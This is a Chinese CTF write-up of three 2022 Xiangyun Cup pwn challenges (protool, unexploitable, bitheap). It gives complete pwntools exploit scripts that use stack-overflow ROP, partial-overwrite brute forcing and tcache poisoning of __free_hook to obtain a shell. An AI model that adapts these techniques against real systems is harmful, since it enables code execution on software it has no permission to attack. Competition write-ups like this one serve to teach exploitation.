【pwn】2022 祥云杯 部分wp
前言
又是一年的祥云杯,相比去年我啥也不会写,今年起码写了几个签到…
又被队友带飞咯
protool
Google的Protobuf,参考学习连接 https://bbs.pediy.com/thread-270004.htm
发现了栈溢出,protobuf的内容解析后会送到栈里,但是username和password一定要admin
username和password中不能包含"\x00",所以rop的话,得考虑绕过"\x00"
因为是while 1,所以可以每次输入错误的username和password进行一次写栈,但是注意到不能携带\x00,所以需要从下向上写rop链,protobuf转化的时候会在最后给上一个\x00,这样开源每次从后往前少写一个字节,这样最后一个字节就被覆盖成了\x00
最后倒着写一个execve(“/bin/sh\x00”,0,0)就可以get shell了
from pwntools import *
from ctf_pb2 import *
init("./protocol")
ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99
write_addr = 0x5A2E70
read_addr = 0x5A2F10
rw_addr = 0x81A400
bss = 0x81A360
'''
b *0x407743
payload = flat([
pop_rdi_ret,"/bin/sh\x00",
pop_rsi_ret, 0,
pop_rdx_ret, 0,
pop_rax_ret, 59,
syscall
])
'''
def write(payload):
p = pwn()
p.username = b"admin"
p.password = payload
sd = p.SerializeToString()
sa("Login:", sd)
time.sleep(0.2)
write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40))
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*8-i))
write(b"b"*0x248 + b"b"*8*7 + p8(59))
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*7-i))
write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b))
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*6-i))
write(b"b"*0x248 + b"b"*8*5)
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*5-i))
write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58))
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*4-i))
write(b"b"*0x248 + b"b"*8*3)
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*3-i))
write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40))
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*2-i))
write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81))
for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*1-i))
write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40))
p = pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()
sa("Login:", sd + b"\x00" + b"/bin/sh\x00")
ia()
unexploitable
第一次返回复写成0x7d1的位置,跳过push rbp,这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置,之后就是爆破两字节复写one_gadget,使用0xfc结尾的符合shell要求
from pwntools import *
init("./unexploitable")
def pwn():
s(b"\x00"*0x18 + p8(0xd1) + p8(0x07))
s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34))
sl("ls")
tmp = pwnio.io.recv(1,timeout=1)
print(tmp)
if not tmp or tmp==b'*':
raise
ia()
hack(pwn,cls=False)
脸黑,和队友开了两个靶机爆破了两天…队友脸白,穿了
bitheap
Off by one bit,edit的时候会多写一位,可以把1改为0
本题的难点在于content的部分需要使用二进制形式表示
改一个used位1为0,构造一个unsorted bin,切割这个unsorted bin,修改堆块中之前布置好的freed tecache,修改tecache的fd为free_hook,申请到free_hook,改为system,最后free(“/bin/sh”)获取shell
from pwntools import *
init("./bitheap")
cmd = lambda idx: sla("Your choice: ", str(idx))
def add(idx, size):
cmd(1)
sla("Index:", str(idx))
sla("Size:", str(size))
def edit(idx, content):
cmd(2)
sla("Index:", str(idx))
sa("Content:", content)
def show(idx):
cmd(3)
sla("Index:", str(idx))
def free(idx):
cmd(4)
sla("Index", str(idx))
add(0,0x80)
add(1,0x18)
add(2,0xf0)
add(3,0x18)
for i in range(7):
add(i+4,0x80)
for i in range(7):
free(i+4)
add(i+4,0xf0)
for i in range(7):
free(i+4)
free(0)
edit(1, bin(0xffffffff)[2:][::-1]*2*2 + bin(0xb0)[2:].rjust(64,"0")[::-1] + "0")
free(1)
free(2)
add(0, 0xb0)
show(0)
cnt = l64()
info("cnt", cnt)
pwnio.libc.address = cnt - (0x7f382b625e40-0x7f382b23a000)
info("libc_addr", pwnio.libc.address)
free_hook = pwnio.libc.sym["__free_hook"]
ogs = [0x4f2a5,0x4f302, 0x10a2fc]
ogs = [x + pwnio.libc.address for x in ogs]
system_addr = pwnio.libc.sym["system"]
edit(0,bin(0xffffffff)[2:][::-1]*2*2*8+bin(0xffffffff)[2:][::-1]*2 + bin(0x20)[2:].rjust(64,"0")[::-1] + bin(free_hook).rjust(64,"0")[::-1] )
add(1,0x18)
add(2,0x18)
edit(2,bin(system_addr)[2:].rjust(64,"0")[::-1])
edit(1,bin(0x68732f6e69622f).rjust(64,"0")[::-1])
free(1)
ia()
|